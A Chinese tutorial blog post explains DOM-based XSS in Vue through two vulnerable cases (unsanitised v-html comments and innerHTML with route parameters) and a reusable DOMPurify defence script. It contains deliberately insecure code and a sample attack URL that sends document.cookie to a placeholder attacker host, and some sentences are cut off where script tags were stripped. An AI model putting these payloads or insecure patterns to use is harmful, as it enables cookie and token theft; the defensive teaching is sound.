前端转安全:理解 DOM 型 XSS,2 个 Vue 案例 + 1 个防御脚本

前端转安全:理解 DOM 型 XSS,2 个 Vue 案例 + 1 个防御脚本在这里插入图片描述

“做前端时用 v-html 渲染富文本总被测试提 XSS 漏洞,却不知道为什么危险;URL 参数拿过来直接用document.write渲染,踩了坑才知道是 DOM 型 XSS;想转安全前端岗,却讲不清前端该怎么防 XSS”—— 这是前端开发者切入安全领域的典型困境。

DOM 型 XSS 是前端专属漏洞,不经过后端服务器,完全由前端 DOM 操作触发,也是前端转安全的 “核心突破口”。本文用 2 个 Vue 项目高频场景(v-html 渲染、动态路由参数)拆解 DOM 型 XSS 的原理与危害,再提供 1 个可直接复用的 Vue 防御脚本,帮你用熟悉的前端技术栈理解安全,形成 “漏洞识别 - 复现 - 防御” 的闭环能力。

一、先搞懂:DOM 型 XSS 的 “前端专属” 特点

很多前端开发者分不清 XSS 类型,先明确 DOM 型 XSS 与其他类型的核心区别,避免混淆:

XSS 类型触发流程数据流转防御责任方
反射型 XSS前端→后端(未过滤)→前端(渲染)经过后端服务器后端为主、前端为辅
存储型 XSS前端→后端(存储)→前端(渲染)存入数据库,多次渲染后端为主、前端为辅
DOM 型 XSS前端(URL / 存储)→DOM 操作(渲染)不经过后端,纯前端前端为主

DOM 型 XSS 核心原理:前端通过document.write、innerHTML、v-html等 API,将未过滤的用户输入(如 URL 参数、localStorage 数据)直接插入 DOM,导致恶意 JavaScript 脚本被执行。

前端开发者优势:你熟悉 Vue 的模板渲染、路由参数处理、前端存储 API,比后端更清楚哪些场景容易触发 DOM 型 XSS,防御时更能精准定位风险点。

二、案例 1:v-html 滥用 —— 富文本渲染的 “隐形坑”

v-html 是 Vue 中最易触发 DOM 型 XSS 的场景之一,很多前端为了实现富文本渲染直接用 v-html,却忽略了输入过滤,这是前端面试高频考点。

1. 漏洞场景还原(Vue 3 示例)

(1)漏洞代码:未过滤的 v-html 渲染

假设做一个 “用户评论” 功能,后端返回的评论内容包含用户输入,前端直接用 v-html 渲染:

<template>
  <div class="comment-list">
    <!-- 危险:v-html直接渲染未过滤的评论内容 -->
    <div v-for="comment in comments" :key="comment.id" v-html="comment.content"></div>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue';
const comments = ref([]);

// 模拟从后端获取评论(实际场景中,评论content可能包含用户输入的恶意脚本)
onMounted(() => {
  comments.value = [
    {
      id: 1,
      content: "这篇文章不错!" // 正常评论
    },
    {
      id: 2,
      // 恶意评论:包含DOM型XSS脚本,窃取localStorage中的用户信息
      content: '<script>alert("窃取到用户信息:"+localStorage.getItem("userToken"))</script>'
    }
  ];
});
</script>
(2)攻击过程:脚本如何执行?
  1. 用户访问评论页面,Vue 通过 v-html 将评论内容插入 DOM;

  2. 恶意评论中的,可将用户 Token 发送到黑客服务器,导致账号劫持。

(3)为什么后端防不住?

因为后端可能未处理这段评论(比如标记为 “纯文本”),甚至不知道前端会用 v-html 渲染 ——DOM 型 XSS 的触发完全在前端,后端无法感知,必须前端自己防御。

2. 修复方案:v-html+DOMPurify 过滤

DOMPurify 是前端专用的 XSS 过滤库,能过滤掉 HTML 中的恶意脚本,保留合法的富文本标签(如

、、

),步骤如下:

(1)安装 DOMPurify
npm install dompurify --save
(2)安全渲染组件:封装 v-html + 过滤
<template>
  <div class="comment-list">
    <!-- 安全:v-html渲染过滤后的内容 -->
    <div v-for="comment in comments" :key="comment.id" v-html="safeHtml(comment.content)"></div>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue';
import DOMPurify from 'dompurify'; // 引入过滤库

const comments = ref([]);

// 封装安全渲染函数:DOMPurify过滤后再渲染
const safeHtml = (html) => {
  // 配置:只允许常见的富文本标签,禁用script、onerror等危险属性
  return DOMPurify.sanitize(html, {
    ADD_TAGS: ['p', 'img', 'h1', 'h2', 'a'], // 允许的标签
    ADD_ATTR: ['src', 'alt', 'href'], // 允许的属性
    FORBID_ATTR: ['onclick', 'onerror', 'onload'] // 禁止的危险事件属性
  });
};

onMounted(() => {
  comments.value = [/* 同上,包含恶意评论 */];
});
</script>
(3)修复效果

恶意评论中的

三、案例 2:动态路由参数 ——URL 中的 “隐藏攻击”

前端常通过 Vue Router 的$route.params获取 URL 参数(如文章 ID、用户昵称),若直接将参数插入 DOM(如用innerHTML或模板绑定),会触发 DOM 型 XSS,这个场景容易被忽视。

1. 漏洞场景还原(Vue 3+Vue Router 示例)

(1)漏洞代码:路由参数直接渲染

假设做一个 “文章详情页”,URL 为/article?id=1&title=前端安全,前端获取title参数后直接插入页面标题:

<template>
  <div class="article-detail">
    <!-- 危险1:模板中直接绑定未过滤的路由参数(Vue模板会转义,但innerHTML不会) -->
    <h1>{{ $route.params.title }}</h1>
    <!-- 危险2:用innerHTML动态插入路由参数(完全不转义) -->
    <div id="dynamic-title"></div>
  </div>
</template>

<script setup>
import { onMounted } from 'vue';
import { useRoute } from 'vue-router';

const route = useRoute();

onMounted(() => {
  // 危险操作:将路由title参数直接用innerHTML插入DOM
  const titleElement = document.getElementById('dynamic-title');
  titleElement.innerHTML = `当前文章:${route.params.title}`;
});
</script>
(2)攻击过程:构造恶意 URL

攻击者构造如下 URL,诱骗用户点击:

http://你的域名/article?id=1&title=<script>document.location='http://黑客IP/steal?c='+document.cookie</script>
  1. 用户点击 URL 后,Vue Router 解析title参数为恶意脚本;

  2. h1标签中的{{ $route.params.title }}会被 Vue 模板自动转义(<→<),脚本不执行;

  3. 但innerHTML会直接渲染参数,恶意脚本执行,将用户 Cookie 发送到黑客服务器 ——DOM 型 XSS 触发成功。

(3)前端开发者的误区

很多人以为 “Vue 模板绑定会自动转义,所以路由参数安全”,但忽略了手动用 innerHTML、document.write 等 API 操作 DOM的场景 —— 这些 API 不会自动转义,是 DOM 型 XSS 的重灾区。

2. 修复方案:路由参数过滤 + 安全渲染

针对路由参数,需做到 “入参过滤 + 安全 API 渲染”,步骤如下:

(1)全局路由参数过滤(main.js)

在 Vue Router 导航守卫中统一过滤路由参数,避免每个组件重复处理:

// main.js(Vue 3)
import { createApp } from 'vue';
import { createRouter, createWebHistory } from 'vue-router';
import DOMPurify from 'dompurify';
import App from './App.vue';

// 路由配置(省略)
const routes = [/* ... */];
const router = createRouter({
  history: createWebHistory(),
  routes
});

// 全局前置守卫:过滤所有路由参数
router.beforeEach((to, from, next) => {
  // 过滤params参数
  if (to.params) {
    Object.keys(to.params).forEach(key => {
      // 用DOMPurify过滤参数,去除恶意脚本
      to.params[key] = DOMPurify.sanitize(to.params[key], {
        ALLOWED_TAGS: [], // 路由参数不需要HTML标签,直接过滤所有标签
        ALLOWED_ATTR: []
      });
    });
  }
  // 过滤query参数(如?id=1&name=xxx)
  if (to.query) {
    Object.keys(to.query).forEach(key => {
      to.query[key] = DOMPurify.sanitize(to.query[key], {
        ALLOWED_TAGS: [],
        ALLOWED_ATTR: []
      });
    });
  }
  next();
});

const app = createApp(App);
app.use(router);
app.mount('#app');
(2)组件内禁用危险 DOM API

组件中避免使用innerHTML、document.write,若必须动态插入内容,用 Vue 的v-text或模板绑定(自动转义):

<template>
  <div class="article-detail">
    <!-- 安全:Vue模板自动转义 -->
    <h1>{{ $route.params.title }}</h1>
    <!-- 安全:用v-text绑定,完全不解析HTML -->
    <div v-text="`当前文章:${$route.params.title}`"></div>
  </div>
</template>

<script setup>
// 不再使用innerHTML操作DOM
</script>
(3)修复效果

攻击者构造的恶意 URL 参数被 DOMPurify 过滤,

四、实战:Vue 防御脚本 —— 可直接复用的 “安全组件库”

基于前面的案例,封装 1 个 Vue 安全组件脚本,包含 “富文本渲染、路由参数过滤、localStorage 安全读写”3 个高频功能,前端项目可直接引入,避免重复开发。

1. 脚本文件:src/utils/security.js

import DOMPurify from 'dompurify';

/**
 * 1. 富文本安全渲染:v-html专用过滤函数
 * @param {string} html - 待渲染的HTML内容
 * @param {object} options - DOMPurify配置(可选)
 * @returns {string} 过滤后的安全HTML
 */
export const safeHtml = (html, options = {}) => {
  // 默认配置:只允许常见富文本标签和属性
  const defaultOptions = {
    ADD_TAGS: ['p', 'img', 'h1', 'h2', 'h3', 'a', 'ul', 'li'],
    ADD_ATTR: ['src', 'alt', 'href', 'title'],
    FORBID_ATTR: ['onclick', 'onerror', 'onload', 'onmouseover'],
    FORBID_TAGS: ['script', 'iframe', 'embed'] // 禁止危险标签
  };
  return DOMPurify.sanitize(html, { ...defaultOptions, ...options });
};

/**
 * 2. 路由参数安全获取:过滤单个参数
 * @param {any} param - 路由参数(params/query中的值)
 * @returns {any} 过滤后的参数
 */
export const safeRouteParam = (param) => {
  if (typeof param !== 'string') return param; // 非字符串参数直接返回
  // 过滤所有HTML标签和属性,只保留纯文本
  return DOMPurify.sanitize(param, {
    ALLOWED_TAGS: [],
    ALLOWED_ATTR: []
  });
};

/**
 * 3. localStorage安全读写:防止存储的内容触发DOM型XSS
 * @returns {object} 安全的localStorage操作方法
 */
export const safeLocalStorage = {
  // 安全写入:过滤值中的HTML标签
  setItem: (key, value) => {
    if (typeof value === 'string') {
      const safeValue = DOMPurify.sanitize(value, { ALLOWED_TAGS: [] });
      localStorage.setItem(key, safeValue);
    } else {
      // 非字符串值(如对象)转JSON存储
      const safeValue = JSON.stringify(value);
      localStorage.setItem(key, safeValue);
    }
  },
  // 安全读取:若读取的是字符串,返回过滤后的值
  getItem: (key) => {
    const value = localStorage.getItem(key);
    if (!value) return null;
    try {
      // 尝试解析JSON(若存储的是对象)
      return JSON.parse(value);
    } catch (e) {
      // 字符串值:过滤后返回
      return DOMPurify.sanitize(value, { ALLOWED_TAGS: [] });
    }
  }
};

2. 组件中使用示例

<template>
  <div>
    <!-- 1. 安全渲染富文本 -->
    <div v-html="safeHtml(richTextContent)"></div>
    
    <!-- 2. 安全使用路由参数 -->
    <p>文章标题:{{ safeRouteParam($route.params.title) }}</p>
    
    <!-- 3. 安全读写localStorage -->
    <button @click="saveUserInfo">保存用户信息</button>
    <p>用户昵称:{{ userInfo.nickname }}</p>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue';
import { useRoute } from 'vue-router';
import { safeHtml, safeRouteParam, safeLocalStorage } from '@/utils/security';

const route = useRoute();
const richTextContent = ref('<p>这是富文本</p><script>alert(1)</script>'); // 含恶意脚本
const userInfo = ref({});

// 3. 安全读写localStorage
const saveUserInfo = () => {
  // 模拟用户输入的昵称(含恶意脚本)
  const unsafeNickname = '<script>stealInfo()</script>张三';
  safeLocalStorage.setItem('userInfo', { nickname: unsafeNickname });
};

onMounted(() => {
  // 读取过滤后的用户信息
  userInfo.value = safeLocalStorage.getItem('userInfo') || {};
});
</script>

五、前端转安全的优势:如何在面试中讲清 DOM 型 XSS?

前端开发者讲 DOM 型 XSS,要突出 “熟悉前端场景 + 实战经验”,避免只背理论,参考面试话术:

“我在 Vue 项目中遇到过 DOM 型 XSS 的坑,比如用 v-html 渲染评论时,用户输入的

还有一次,用$route.params获取 URL 中的文章标题,直接用 innerHTML 插入页面,被测试测出 DOM 型 XSS—— 后来在路由守卫中统一过滤了 params 和 query 参数,还禁用了组件内的 innerHTML,改用 v-text 绑定。

现在我会在项目中用自己封装的安全脚本,覆盖富文本、路由参数、localStorage 这 3 个高频场景,还会在代码评审时提醒同事:v-html 一定要过滤,手动操作 DOM 要小心。

我觉得前端做安全有优势,因为我们更清楚 Vue 的渲染机制和前端 API 的风险点,防御时能更精准,比如知道 Vue 模板会自动转义,但 v-html 和 innerHTML 不会,这些细节后端可能不太了解。”

六、避坑指南:前端防 DOM 型 XSS 的 3 个误区

1. 误区 1:“Vue 模板绑定绝对安全,不用过滤”

  • 错因:Vue 模板({{ }}、v-bind)会自动转义,但v-html、innerHTML、document.write不会;

  • 纠正:模板绑定安全,但只要用了 “能解析 HTML 的 API”,必须手动过滤。

2. 误区 2:“DOMPurify 能防所有 XSS,引入就万事大吉”

  • 错因:DOMPurify 需正确配置,若开启ADD_TAGS: [‘script’](允许 script 标签),等于没防;

  • 纠正:根据场景配置 DOMPurify,富文本场景只开放必要标签,路由参数、localStorage 场景直接禁用所有标签。

3. 误区 3:“DOM 型 XSS 只在 URL 参数中出现”

  • 错因:localStorage、sessionStorage、Cookie、postMessage 数据,只要未过滤直接插入 DOM,都可能触发;

  • 纠正:所有 “用户可控的输入”(包括前端存储的数据),在插入 DOM 前必须过滤。

七、总结:前端转安全的下一步

掌握 DOM 型 XSS 后,可进一步学习前端安全的其他方向:

  1. CSRF 防御:利用 Vue 的 axios 拦截器统一添加 CSRF Token,理解 SameSite Cookie 的作用;

  2. CSP 配置:在 Vue 项目中通过 nginx 或 meta 标签配置内容安全策略,从浏览器层面阻断 XSS;

  3. 前端漏洞挖掘:学习用 Burp Suite 测试前端页面,找 DOM 型 XSS、CSRF 等漏洞,积累实战案例。

前端转安全不是 “放弃前端技能”,而是 “用前端技能解决安全问题”—— 你熟悉的 Vue、React、前端 API,都是切入安全领域的 “垫脚石”。把 DOM 型 XSS 的案例和防御脚本整理成项目,放在 GitHub 上,面试时能比 “只背理论的安全新手” 更有竞争力。

网络安全学习资料分享

为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~

在这里插入图片描述

在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值